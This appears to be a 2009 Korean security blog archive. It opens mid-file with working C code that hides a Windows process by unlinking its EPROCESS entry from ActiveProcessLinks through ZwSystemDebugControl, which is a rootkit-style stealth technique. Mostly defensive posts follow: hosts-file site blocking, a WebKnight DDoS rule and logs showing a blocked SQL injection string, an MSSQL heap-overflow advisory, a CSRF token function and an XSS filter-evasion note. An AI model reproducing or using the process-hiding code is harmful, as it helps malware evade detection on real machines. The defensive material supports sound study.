 SysDbgCopyMemoryChunks_0 = 0x08,  //가상 메모리로부터 데이터를 읽을 때
 SysDbgCopyMemoryChunks_1 = 0x09,  //가상 메모리에 데이터를 쓸 때
} SYSDBG_COMMAND;

//DLL로 부터 로드해 사용해야 한다.. windows.h에 정의되어있지 않다
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS
                SystemInformationClass,
                IN OUT PVOID SystemInformation,
                IN ULONG SystemInformationLength,
                OUT PULONG ReturnLength OPTIONAL );
typedef NTSTATUS ( __stdcall *ZWSYSTEMDEBUGCONTROL ) ( IN SYSDBG_COMMAND SysDbgChunks,
               IN OUT PMEMORY_CHUNKS pQueryBuff,
               DWORD dwSize, DWORD, DWORD, NTSTATUS *pResult);

//***********************************************************//
// ZwQuerySystemInformation은 시스템 정보를 얻어오는 함수로, //
// 첫 번째 인자에 16을 넘길 경우 현재 로드 되어있는 모든     //
// 핸들의 정보를 얻어오도록 되어있다.                        //
//***********************************************************//
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

//***********************************************************//
// ZwSystemDebugControl은 시스템 디버그에 관련된 명령을 수행 //
// 하는 함수로, 8또는 9를 넘길 경우 가상 메모리 공간을       //
// 읽거나 쓴다.                                              //
//***********************************************************//
ZWSYSTEMDEBUGCONTROL  ZwSystemDebugControl;

BOOL EnablePrivilege(LPCSTR lpName, HANDLE hProcess);       //알맞는 권한을 획득한다
BOOL GetNativeAPIAddress();              //Native API의 주소를 얻어온다
PSYSTEM_HANDLE_INFORMATION GetProcessSystemHandleInfo(ULONG ulProcessId);  //주어진 프로세스의 시스템 핸들 정보를 얻어온다
BOOL ReadVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize);  //가상 메모리 공간을 읽는다
BOOL WriteVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize);  //가상 메모리 공간에 데이터를 쓴다
BOOL HideProcess(DWORD dwProcessId);           //프로세스를 숨긴다

BOOL EnablePrivilege(LPCSTR lpName, HANDLE hProcess)
{
 //권한 토큰 구조체
 TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
 //lpName으로 지정된 권한 이름에 대한 LUID를 얻어낸다
 LookupPrivilegeValue(0, lpName, &priv.Privileges[0].Luid);

 //프로세스의 토큰 핸들을 얻고
 HANDLE hToken;
 OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);

 //입력받은 권한으로 프로세스 권한을 바꾼다
 AdjustTokenPrivileges(hToken, FALSE, &priv, sizeof(TOKEN_PRIVILEGES), 0, 0);

 BOOL rv = GetLastError() == ERROR_SUCCESS;

 CloseHandle(hToken);
 return rv;
}

//Native API의 주소를 얻어온다
BOOL GetNativeAPIAddress()
{
 //ntdll.dll로드
 HMODULE hNTDll;

 if( (hNTDll = GetModuleHandle("ntdll.dll")) == NULL )
  if( (hNTDll = LoadLibrary("ntdll.dll")) == NULL )
   return FALSE;

 //ZwQuerySystemInformation로드
 if( (ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
  hNTDll, "ZwQuerySystemInformation")) == NULL )
  return FALSE;

 //ZwSystemDebugControl로드
 if( (ZwSystemDebugControl = (ZWSYSTEMDEBUGCONTROL)GetProcAddress(
  hNTDll, "ZwSystemDebugControl")) == NULL )
  return FALSE;

 return TRUE;
}

//프로세스의 아이디로 부터 ActiveProcessLinks정보를 가진 EPROCESS구조체의
//가상 메모리 공간상의 주소를 얻어온다
PSYSTEM_HANDLE_INFORMATION GetProcessSystemHandleInfo(ULONG ulProcessId)
{
 NTSTATUS result;
 PVOID pBuffer = NULL;        //데이터를 읽어올 배열
 PSYSTEM_HANDLE_INFORMATION pSystemHandleInfo;  //핸들 정보 배열
 PSYSTEM_HANDLE_INFORMATION pProcessHandle = NULL; //리턴할 값

 //핸들의 수를 모르기 때문에, 적당한 사이즈를 알 수 없다
 //때문에 반복문을 돌면서 그 값을 찾아야 한다
 for( ULONG ulSize=1; ; ulSize *= 2 )
 {
  //정한 사이즈로 메모리를 할당한다
  if( (pBuffer = malloc(ulSize) ) == NULL )
   //실패할 경우 NULL 리턴
   return NULL;

  //시스템에 로드된 모든 핸들의 정보를 조사한다
  result = ZwQuerySystemInformation(SystemHandleInformation, pBuffer, ulSize, NULL);

  //실패할 경우
  if( !NT_SUCCESS(result) )
  {
   //메모리 해제
   free(pBuffer);
   //사이즈를 잘못 정했다면 반복문을 계속 수행한다
   if( result == STATUS_INFO_LENGTH_MISMATCH )
   {
    pBuffer = NULL;
   }
   //사이즈를 제대로 정했는데 실패한 것이라면 NULL을 리턴
   else
   {
    return NULL;
   }
  }
  //성공한 경우
  else
   //반복문을 빠져나간다
   break;
 }

 //읽어온 데이터의 첫 번째 4바이트는 배열의 길이 정보이다
 ULONG ulNumberOfHandles = *(PULONG)pBuffer;
 //다음 4바이트 부터는 SYSTEM_HANDLE_INFORMATION구조체의 배열이다
 pSystemHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PBYTE)pBuffer + sizeof(ULONG));

 //핸들의 수 만큼 반복문을 돌면서
 for( ULONG i=0; i<ulNumberOfHandles; i++ )
 {
  //입력받은 프로세스의 아이디와 일치하는 프로세스 아이디를 가지는
  //프로세스 핸들을 찾을 경우
  // (SYSTEM_HANDLE_INFORMATION구조체의 ObjectTypeNumber는
  // 오브젝트의 종류를 나타내는 것으로, 5번은 프로세스를 뜻한다)
  if( pSystemHandleInfo[i].ProcessId == ulProcessId &&
   pSystemHandleInfo[i].ObjectTypeNumber == 5 )
  {
   //리턴할 값으로 저장하고 반복문을 빠져나간다
   pProcessHandle = new SYSTEM_HANDLE_INFORMATION;
   memcpy(pProcessHandle, pSystemHandleInfo + i, sizeof(SYSTEM_HANDLE_INFORMATION));
   break;
  }
 }

 //메모리 해제
 if( pBuffer )
  free(pBuffer);

 //찾아낸 값을 리턴
 return pProcessHandle;
}

//가상 메모리 공간을 읽어온다
BOOL ReadVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize)
{
 NTSTATUS result;

 //메모리 청크 구조체
 MEMORY_CHUNKS QueryBuff;
 QueryBuff.pVirtualAddress = pAddress; //가상 메모리 주소
 QueryBuff.pBuffer = pBuffer;   //버퍼의 주소
 QueryBuff.dwBufferSize = dwBufferSize; //버퍼의 크기

 //가상 메모리 공간을 읽어서 버퍼에 기록한다
 ZwSystemDebugControl(SysDbgCopyMemoryChunks_0, &QueryBuff,
  sizeof(MEMORY_CHUNKS), NULL, 0, &result);

 return NT_SUCCESS(result);
}

//가상 메모리 공간에 데이터를 쓴다
BOOL WriteVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize)
{
 NTSTATUS result;

 //메모리 청크 구조체
 MEMORY_CHUNKS QueryBuff;
 QueryBuff.pVirtualAddress = pAddress; //가상 메모리 주소
 QueryBuff.pBuffer = pBuffer;   //버퍼의 주소
 QueryBuff.dwBufferSize = dwBufferSize; //버퍼의 크기

 //버퍼로 부터 값을 읽어서 가상 메모리 공간에 기록한다
 ZwSystemDebugControl(SysDbgCopyMemoryChunks_1, &QueryBuff,
  sizeof(MEMORY_CHUNKS), NULL, 0, &result);

 return NT_SUCCESS(result);
}

//프로세스를 감춘다
BOOL HideProcess(DWORD dwProcessId)
{
 //OS의 버젼에 따라 EPROCESS내의 ActiveProcessLinks의 오프셋이 다르기 때문에
 //OS의 버젼을 파악하고 그에 따라 오프셋을 맞추어야 한다

 OSVERSIONINFO osvi;
 osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
 //OS의 버젼을 얻어온다
 GetVersionEx(&osvi);

 int nFOffset, nBOffset;
 if( osvi.dwMajorVersion == 5 )
 {
  switch( osvi.dwMinorVersion )
  {
  case 0: //Win2K
   nFOffset = 0xa0;
   nBOffset = 0xa4;
   break;

  case 1: //WinXP
   nFOffset = 0x88;
   nBOffset = 0x8C;
   break;

  case 2: //Win2003
   nFOffset = 0x8a;
   nBOffset = 0x8e;
   break;

  default:
   return FALSE;
  }
 }
 else if( osvi.dwMajorVersion == 4 &&
  osvi.dwMinorVersion == 0 &&
  osvi.dwPlatformId == 2 ) //WinNT
 {
  nFOffset = 0x98;
  nBOffset = 0x9c;
 }
 else
  return FALSE;

 //프로세스를 열어야만 프로세스 핸들이 시스템에 로드된다
 //프로세스를 연다
 OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwProcessId);
 //주어진 프로세스의 시스템 핸들 정보를 얻어온다
 PSYSTEM_HANDLE_INFORMATION pProcessHandle = GetProcessSystemHandleInfo(dwProcessId);

 //잘못된 값을 얻어온 경우 리턴
 if( pProcessHandle == NULL )
  return FALSE;

 //EPORCESS의 가상 메모리 공간상의 주소를 얻어온다
 PVOID pEProcess = pProcessHandle->Object;

 delete pProcessHandle;

 //프로세스 핸들을 얻어온다 - 디버그 권한 설정에 사용된다
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());

 //디버그 권한을 설정한다
 if( EnablePrivilege(SE_DEBUG_NAME, hProcess) == FALSE )
  return FALSE;

 CloseHandle(hProcess);

 PVOID pFlink;
 PVOID pBlink;

 //ActiveProcessLinks의 Flink와 Blink의 가상 메모리 공간상의 주소를 얻어온다
 if( ReadVirtualMemory((BYTE *)pEProcess + nFOffset, &pFlink, sizeof(PVOID)) )
  if( ReadVirtualMemory((BYTE *)pEProcess + nBOffset, &pBlink, sizeof(PVOID)) )
   //Flink의 Blink에 Blink를, Blink의 Flink에 Flink를 기록하여,
   //프로세스를 리스트에서 제거한다
   if( WriteVirtualMemory((BYTE *)pFlink + sizeof(PLIST_ENTRY), &pBlink, sizeof(PVOID)) )
    if( WriteVirtualMemory((BYTE *)pBlink, &pFlink, sizeof(PVOID)) )
     return TRUE;

 return FALSE;
}


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  // TODO: Place code here.
 GetNativeAPIAddress();
 HideProcess(GetCurrentProcessId());

 while(1) {
  ::OutputDebugString("김호민 바보ㅋㅋ");
  Sleep(1000);
 }

 return 0;
}




2009/09/30 03:28 2009/09/30 03:28

hosts 파일을 이용하여 특정 사이트만 차단할 수 있습니다.

c:windows/system32/drivers/etc/ 경로에서
hosts 파일을 메모장으로 엽니다..


아래는 hosts 파일의 기본내용입니다.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

127.0.0.1       localhost

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

127.0.0.1       localhost ← 이 부분을 수정하여 사용합니다.

예를들어 네이버를 차단하고 싶다면

127.0.0.1      
www.naver.com 을 한줄 더 추가해주시면 됍니다.

추가하고 싶은만큼 줄을 더 늘려가며 추가하면 됍니다.

단,
http:// 를 붙이지 말고 / 도 넣으면 안됩니다.

수정 추가 후 파일을 저장해주시면 됍니다.



아래는 예제입니다.
서든어택과 메이플스토리를 차단한 모습입니다.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

127.0.0.1       localhost
127.0.0.1       suddenattack.netmarble.net
127.0.0.1      
www.maplestory.com

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━




2009/08/28 13:18 2009/08/28 13:18
SECURING YOUR UNIX SYSTEMS

  • White Papers
  • Tools
    • John the Ripper
      John the Ripper is a password cracker, currently available for UNIX, DOS, Win32. Its primary purpose is to detect weak UNIX passwords.
    • L0phtCrack
      Password Auditing and Recovery Application
    • exec.c
      exec.c 1.0.4 is a kernel module which logs all the commands executed on the system. Extremely powerful stealth logging made easy! Changes: This release fixes a memory allocation problem. Please update to the current version if you use the module. This module should work on 2.2.* kernels. By Pat Szuta
    • Virtual FTPD
      Virtual FTPD v6.4 is a secure FTP daemon which is derived from the OpenBSD ftp daemon and can allows virtual FTP accounts which do not have an /etc/passwd entry. For more information, here.
    • Snoopy
      Snoopy is designed to log all commands executed by providing a transparent wrapper around calls to execve() via LD_PRELOAD. Logging is done via syslogd and written to authpriv, allowing secure offsite logging of activity. Changes: Integrity checking, a new method of logging, and faster logging.
    • FPF
      FPF is a lkm for Linux which changes the TCP/IP stack in order to emulate other OS's TCP fingerprint. The package contains the lkm and a parser for the nmap file that let you choose directly the os you want. For more information, here.
    • Imsafe
      Imsafe is a host-based intrusion detection tool for Linux which does anomaly detection at the process level and tries to detect various type of attacks. Since Imsafe doesn't know anything about specific attacks, it can detect unknown and unpublished attacks or any other form of malicious use of the monitored application. Created for Linux systems but works on almost every UNIX flavor by watching strace outputs. Screenshots available here. Warning: Still in alpha. For more information, here.
    • IPtrap
      IPtrap listens to several TCP ports to simulate fake services (X11, Netbios, DNS, etc) . When a remote client connects to one of these ports, his IP address gets immediately firewalled and an alert is logged. It runs with iptables and ipchains, but any external script can also be launched. IPv6 is supported. Changes: Logging the scanned port, and no more iptables/ipchains zombies. For more information, here.
    • LOMAC
      LOMAC is a security enhancement for Linux that uses Low Water-Mark Mandatory Access Control to protect the integrity of processes and data from viruses, Trojan horses, malicious remote users, and compromised root daemons. LOMAC is implemented as a loadable kernel module - no kernel recompilations or changes to existing applications are required. Although not all the planned features are currently implemented, it presently provides sufficient protection to thwart script-kiddies, and is stable enough for everyday use. Whitepaper available here. Manual available here. Changes: Added mediation of directory modification operations, improving protection. here.
    • Maxty
      Maxty is a small kernel-space tty sniffer. It is a LKM which will attach to read/write syscalls and save incoming/outgoing requests to opened tty devices into separate log files. It provides a way keeping a track what is happening on virtual consoles similar to a keystroke recorder.
  • Links



2009/08/27 11:31 2009/08/27 11:31
DDOS공격으로 인한 사이트마비는 시스템관리자라면 정말 짜증나고 싫은 장애이다.
나또한 DDOS공격으로 사이트가 15분간 마비 ㅠ_ㅠ
다음날 웹방화벽의 로그를 살펴보다 일반 PC와 좀비 PC와의 차이점을 찾게되었다.
user agent부분이었다 .. PC가 감염이 되면서 user agent부분에 특징적인 패턴이 붙게 되는데
일단은 한번 막아보기로했다 한대의 서버에만 웹방화벽의 정책을 수정했는데
그날 저녁 또 공격이 시작되었다 것도 사람이 많은 시간대로 ㅠ_ㅠ 정말이지 엔지니어는 업무시간
외에도 쉴수가 없는건지 업보인가...
웹방화벽의 패턴을 올린 서버는 공격을 모두 무력화 시키며 정상적인 서비스 중이었고 나머지 서버는
모두 웹이 뻗어 모니터링에서는 문자를 쉴세없이 보내고 있는 상황...
재빠르게 모든 서버에 접속해서 웹방화벽 정책을 업데이트하고 웹서비스를 재시작 시켰더니 음~~
꽤 생각외의 수확이~~~ 공격 2분만에 서비스 정상화 ^^  DDOS방어 솔루션자체의 가격이 워낙에
부담스러운 요즘에 웹방화벽이 효자역활을 톡톡히 하네요 ^^

적용 방법은 아래와 같습니다.
우선웹방화벽을 사용하고 계시면 DDOS공격시 패턴을 분석합니다.
User agent 의 패턴을 복사하여 robot.xml을 열고 other bad 항목에
추가를 해줍니다.
그리고 webknignt.xml파일일 열어
USE Denied User Agents를 체크를 해줍니다.
간단하면서도 정말 효과적인 부분이지요 ^^

그렇지만 위험부담도 크다는거 명심하세요 user agent를 막게해놓으면 지저분하게 브라우저를 사용하는
일반 사용자의 막힘 현상도 있습니다.



2009/08/27 11:23 2009/08/27 11:23

중국발 Mass SQL 인젝션 공격이 다시 한 번 주춤하고 있습니다. 실제로 최근 들어 공격 횟수가 급격히 줄어 들고 있네요. 아마 인터넷 상에 퍼져있는 다양한 정보들의 도움으로 웹 서버와 웹 소스의 보안이 강화되었고, 이로 인해 쿠키 변조를 통한 Mass SQL 인젝션 공격도 약발이 다 되었나 봅니다.

음… 하지만 공격 횟수가 단순히 줄어 들었을 뿐이지 일련의 사태들이 완벽하게 종식된 것은 아니기 때문에 서버 관리자 분들의 꾸준한 관심과 관리에는 변함이 없어야 할 것입니다.

최근 '웹나이트'를 비롯한 웹 방화벽에 대한 관심도가 크게 향상되었음은 물론이며 윈도우즈 웹 서버에 기본적으로 웹나이트를 비롯한 웹 방화벽이 설치될 정도로 보안 의식이 강화되었다고 합니다.

사실 웹나이트 외에도 하드웨어 웹 방화벽 장비나 기타 웹 방화벽 상품들이 시중에 많이 나와 있습니다만(따지고 보면 그렇게 많은 것도 아닙니다만…) 아무래도 비용적인 부담 때문에 많은 분들이 웹나이트를 선택해서 사용하고 계신 것으로 알고 있습니다.

서론이 길었네요. 예전 글에서도 누누히 말씀 드렸지만 웹나이트는 설치보다 관리가 몇 배는 더 중요합니다. 본 글에서는 웹나이트 설치 후, 반드시 해야 할 일 중 딱 두 가지만 다시 한 번 보기 좋게 정리해 보았습니다. 도움이 되셨으면 좋겠네요~

* 본 글은 '웹나이트 2.1 버전'과 '윈도우즈 2003 스탠다드 SP2 + IIS 6' 를 기반으로 작성되었습니다.


1. 웹나이트 로그를 반드시 정기적으로 확인하세요.

서버 관리자의 주된 업무 중 하나인 로그 확인 및 분석! 웹나이트 역시 정기적인 또는 주기적인 로그 확인이 무엇보다 중요합니다. 웹나이트 2.X 버전부터는 별도의 로그 애널라이저(analysis.exe)가 동봉 되어 있기 때문에 단순히 텍스트 파일을 열어 확인하는 것보다는 한결 수월해졌습니다.

로그 확인의 기본은 해당 로그의 형식 파악입니다. 그럼, 웹나이트에서 남기는 로그의 형식을 알아야 겠죠? 웹나이트의 로그 형식은 다음과 같습니다.

시간 ; 웹사이트 식별자 ; 이벤트 ; 클라이언트 IP주소 ; 사용자 명 ; 이벤트와 관련된 자세한 사항

이해를 돕기 위해 실제 웹나이트 로그를 통해 구분을 나눠보겠습니다.

03:21:39 ; W3SVC1 ; OnPreprocHeaders ; ***.***.***.*** ; ; GET ; /test/test.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20"=' ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ;  ASPSESSIONIDAQDBDDAD=EDIAJJBAFOHJCEKKEMBNCEJD

1. 시간 : 03:21:39

2. 웹사이트 식별자 : W3SVC1

3. 이벤트 : OnPreprocHeaders

4. 클라이언트 IP주소 : ***.***.***.***

5. 사용자 명 : 내용 없음

6. 이벤트와 관련된 자세한 사항 : GET ; /test/test.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20"=' ; BLOCKED: possible SQL injection in querystring

로그 마지막에 'HTTP/1.1….' 부분은 크게 염두할 사항이 아니므로 과감히 잘라냈습니다. 위의 예제 로그를 분석해 보면 GET 방식으로 전달 받은 변수값에 SQL 인젝션 코드가 삽입되어 있어 웹나이트에 의해 클라이언트의 접근이 차단된 것임을 알 수 있습니다. 아마 URL을 직접 변조하여 SQL 인젝션을 시도했던 모양입니다…-_-;;

만일 로그 분석을 통해 공격 시도가 확인되었다면 서버 관리자는 공격자의 IP주소를 발췌하여 한국인터넷진흥원(NIDA) WHOIS 페이지(http://whois.nida.or.kr)에서 IP주소의 관리사와 관리자 그리고 제원을 확인해야 합니다.

조회된 정보를 살펴보면 하단에 네트워크 어뷰즈(Network Abuse) 담당자의 연락처와 이메일 주소를 확인하실 수 있을 겁니다. 보통 이 네트워크 어뷰즈 담당자의 이메일 주소로 귀사에서 관리하고 있는 네트워크 자원에서 SQL 인젝션 공격(또는 해킹 공격)이 접수되었다는 내용의 메일을 발송해 줍니다.

메일 내용에는 공격자의 IP주소와 해당 서버의 IP주소, 공격이 확인된 시간과 자세한 로그(웹나이트 로그에서 필요한 부분만 발췌하면 되겠죠?) 등을 반드시 동봉해 주어야 합니다.

만일 공격자의 IP주소를 국내 기관에서 관리하고 있다면 보통 처리 결과에 대한 회신이 1~2주 이내로 도착할 것입니다. 해외 기관에서 관리하고 있을 경우에는 처리 결과에 대한 구체적인 회신은 없을지라도 약 70% 이상 내부적으로 조치가 완료되니 너무 염려하지 마시구요.(참고로 해당 ISP 업체가 막장인 경우에는… 답이 없습니다.)

* 참고로 해외 기관에서 관리하고 있는 IP주소일 경우 한국인터넷진흥원 WHOIS 페이지에서 바로 조회 결과가 출력되지 않습니다. 해당 IP주소에 대한 정보 대신 조회해 볼 수 있는 해외 기관의 웹사이트 주소가 출력되는데. 해당 웹사이트로 이동하셔서 다시 한 번 IP주소에 대한 정보를 조회해 보시기 바랍니다.

이제 가장 중요한 것은 재접근 자체를 원천봉쇄 하는 것입니다. 서버 앞 단에 방화벽 장비 등이 이미 설치되어 있다면 정말 베스트겠죠?(방화벽 장비가 설치되어 있지 않다면 윈도우즈 방화벽, IPSEC, IIS 설정 등으로 차단할 수 있습니다만, 역시 방화벽 장비가 쵝오…!)

만일 로그 분석을 통해 확인된 공격자의 IP주소가 123.123.123.123 이라며 단순히 123.123.123.123 IP주소만 차단할 것이 아니라 C클래스, 즉 123.123.123.0 부터 123.123.123.255 까지 대역 자체를 차단하는 것이 좋습니다.

그 이유는 공격자의 IP주소가 해커의 손아귀에 들어간 흔히 말하는 좀비 서버의 IP주소라면 같은 세그먼트에 연결되어 있는 다른 서버 역시 좀비 서버가 되었을 가능성이 높기 때문입니다. 보통 같은 세그먼트에 연결된 서버끼리는 포트뿐만 아니라 IP 자체를 오픈해 놓는 경우가 많습니다. 포트스캐닝 프로그램만 한 번 돌려보면 손쉽게 다음 타겟을 찾을 수 있지요.


2. 새로운 해킹 동향에 대해 관심을 가져주세요.

어떤 분께서 이런 말씀을 하시더라구요. '보안은 곧 관심이다.' 라고요. 저는 이 말에 100배 공감합니다. 새로운 해킹 수법은 이미 그 피해 사례가 확대되기 전에 설이 풀리기 마련입니다. 물론 그 설에는 다양한 정보들이 내포되어 있습니다.

새로운 해킹 수법에 의한 피해 사례는 보통 국내 보다는 해외에서 먼저 발견되는 경우가 많습니다. 보통 일본과 미국 쪽에서 먼저 리포팅 되곤 하는데 영어의 압박이 있긴 합니다만 해석이 불가능 할 정도로 어려운 글들은 아닙니다. 사실 우리가 보안과 관련해서 사용하는 용어들도 영어가 많기 때문에 그나마 위안으로 삼으시면…-_-;;

그리고 이런 정보들이 국내 IT 보안 전문 업체나 해커들에 의해 해석되고, 분석되서 손쉽게 재가공된 정보가 검색될 때도 국내 피해 사례는 그렇게 크지 않습니다.(거의 없다고 봐도 무방할 정도로…) 늦지 않았다는 얘기지요. 이번 쿠키 변조를 통한 Mass SQL 인젝션도 그랬고, 그 이전에 Mass SQL 인젝션도 그랬습니다.

관심을 갖는다면 충분히 사전에 예방할 수 있습니다. 음… 제가 시간 날 때마다 방문하는 웹사이트 몇 군데를 소개해 드릴까 합니다.

- http://www.secureworks.com/research/threats/
- http://www.nchovy.kr/
- http://swbae.egloos.com/
- http://www.krcert.or.kr/index.jsp
- http://www.us-cert.gov




2009/08/27 11:09 2009/08/27 11:09

최근 SK인포섹에서 발표한 자료 중에 MSSQL의 'sp_replwritetovarbin' 확장 저장 프로시저의 힙 오버플로우 취약점을 악용한 원격코드 실행(Heap Overflow Exploit)과 관련된 내용이 있었습니다.(길기도 하지…)

'오버플로우' 라는 대목에서 이미 예견하셨겠지만, 당하면 해당 서버의 최상위 권한을 탈취당합니다. -_ㅠ

제가 알기로는 마소에서는 MSSQL 2005 이하 버전에 대해서는 업데이트를 중단했습니다. 저희 회사에서도 그렇지만 아직은 그래도 MSSQL 2000을 가장 많이 사용하고 있는데… 과연 이와 관련해서 패치가 나올지 모르겠습니다. 참고로 현재 위 내용에 해당되지 않는 MSSQL 버전은 MSSQL 7.0 SP4와 MSSQL 2005 SP3, MSSQL 2008이라고 합니다.

아무튼 SK인포섹에서는 급한대로 'sp_replwritetovarbin' 확장 저장 프로시저의 퍼블릭 실행 권한을 제거하길 권고하고 있습니다.

전 일단 혹시나 몰라서 웹나이트 룰에 'sp_replwritetovarbin' 과 'replwritetovarbin' 부분만 아스키코드로 변경해서 '7265706C7772697465746F76617262696E' 를 추가해 두었습니다. 그리고 그 동안 눈덩이 처럼 쌓여있던 웹나이트 로그를 오랜만에 뒤적여 보았습니다. 동일한 또는 비슷한 공격이 있었는지 확인해 보고 싶었는데 아쉽게도 없더군요. MSRC에서도 Exploit는 웹 상에 공개되었지만 실질적인 공격은 아직 확인된 바 없다고 했었지요.

아무튼 뭔가 찝찝 합니다. 항상 그랬지만 MSSQL과 관련된 Exploit들은 SQL Injection에 힘을 실어 주니까요.

아참! 'sp_replwritetovarbin' 확장 저장 프로시저의 권한을 설정하는 방법은 아래 링크를 참고해 주세요. 제가 굳이 스샷을 찍지 않아도 되겠네요. 잘 정리 되어 있습니다. 물론 영문입니다. 하지만 그림 파일만 보신다면… 후후~ -_-…

http://blogs.technet.com/swi/archive/2008/12/22/more-information-about-the-sql-stored-procedure-vulnerability.aspx

'sp_replwritetovarbin' 확장 저장 프로시저에 대한 퍼블릭 권한을 제거하였을 경우, 대부분 별문제 없으나 업데이트 가능한 구독 설정을 가진 트랜잭션 복제를 사용할 때 문제가 생긴다고 합니다. '구독' 그리고 '트랜잭션 복제' 라고 하니 SQL 서버 두 대를 가지고 트랜젝션 로그 배포 서버와 구독 서버를 설정했던 기억이 어렴풋이 나네요.

일단 일반 SQL 유저 계정으로는 액세스가 불가능 함을 확인하였습니다. 문제는 웹소스에서 DB서버를 액세스 할 때 SA 계정을 사용하는 웹사이트들 입니다. 시한폭탄을 안고 있는 거지요.




2009/08/27 11:06 2009/08/27 11:06
한국정보보호진흥원(KISA, http://www.kisa.or.kr)에서 웹해킹방어도구인 'CASTLE'을 공식 발표 및 배포하기 시작했습니다.

현재 인터넷침해사고대응지원센터(KRCERT, http://www.krcert.or.kr) 웹사이트의 공지사항 쪽을 통해 배포되고 있는데 ASP, PHP, JSP 등 각 프로그래밍언어 별로 분류되어 별도의 설치 패키지가 제공되고 있으며 물론 친절한 설치 가이드와 사용자 설명서 그리고 간단한 FAQ는 기본적으로 함께 제공되고 있습니다.

사용자 삽입 이미지
 

# 어디서 많이 뵌 분 같은데…-_-;;

위의 그림과 같이 CASTLE의 기본 인터페이스는 흡사 제로보드를 연상케 합니다. 그래서 그런지 왠지 모르게 친숙한 느낌도 들고 -_-; 무엇보다 사용자 설명서만 충분히 탐독하면 실제 사용 방법을 터득하는데까지 그리 오랜 시간이 걸리지 않습니다. 즉, 초심자도 쉽게 적용할 수 있다는 말씀입니다.

기본 구동 방법 역시 제로보드나 기타 설치형 솔루션과 크게 다르지 않습니다. 웹사이트 상에서 매번 불러와지는(include) 헤더 파일에 CASTLE 동작 소스만 삽입해 주면 그걸로 더이상 사용자가 웹소스를 손 볼 일은 없습니다.

단, ASP 용 CASTLE의 경우, 서버에 capicom.dll 파일이 미리 등록되어 있어야지만 CASTLE이 정상 작동합니다. 직접 서버를 운영하고 있는 경우라면 크게 문제되지 않겠습니다만, 웹호스팅 서비스 등 타인이 관리하고 있는 서버의 일정 공간을 임대하여 사용하고 있다면 관리자 또는 관리 업체가 지원해 주지 않는 이상 아쉽게도 사용할 수 있는 방법이 없겠습니다…

앞으로 조금 더 지켜봐야겠지만요. 웹나이트와 CASTLE의 조합으로 웹 해킹 방어율이 한층 상승했음에는 이의가 없습니다.




2009/08/27 11:04 2009/08/27 11:04

원문 출처 : http://proglamor.tistory.com/category/Security/CSRF

CSRF 처리 관련 ASP 함수 이다.
CSRF 처리 방법은 의외로 간단하게 처리할 수 있다.
입력폼에서 특정 문자조합의 토큰을 생성하여, 세션에 저장하며, 이를 처리 페이지로 넘겨준다.
넘겨받은 토큰과 세션을 비교하여 동일할때만 로직을 수행하게 하면 된다.


## 함수
function CSRP_TokenCreate()
   set_KeyTable = "A0N1B2A3C4N5D6U7E8M9F0LGOHTITJOKLMNOPQRSTUVWXYZ"
   set_Token = ""
   randomize
   for cnt = 1 to 20
      get_KeyPos = int((49 - 1 + 1) * Rnd + 1)
      set_Token = set_Token & mid(set_KeyTable, get_KeyPos, 1)
   next
   session("CSRP_Token") = set_Token
   CSRP_TokenCreate = set_Token
end function

function CSRP_TokenConfirm( get_Token )
   if session("CSRP_Token") = get_Token then
      CSRP_TokenConfirm = True
   else
      CSRP_TokenConfirm = False
   end if
end function


## From.ASP
<%
get_Token = CSRP_TokenCreate()
%>
<form name="input_form" action="Proc.ASP">
<input type="hidden" name="Token" value="<%=get_Token%>">
</form>


## Proc.ASP
<%
req_Token = request("Token")
if not CSRP_TokenConfirm(req_Token) then
   response.write "잘못된 접근 입니다."
   response.end
end if
%>




2009/08/26 19:16 2009/08/26 19:16
HTML 출력에 들어가는 Content-Type의 charset을 변조함으로써, XSS 공격에 사용되는 문자열이 XSS차단필터에 의해서 걸리지 않도록 하는 검사회피기술이다.

예를 들어서, 원래의 XSS 공격 문자열이 <script>alert("XSS")</script> 라고 하자. 그런데, XSS차단필터가 <script>와 같은 문자열을 차단하기 때문에, 이 공격은 성공할 수 없다.

그런데, 만약 서버의 응답 HTML의 Content-Type 선언에서 charset을 변경시킬 수 있다면, 이 XSS차단필터를 통과할 수 있다.

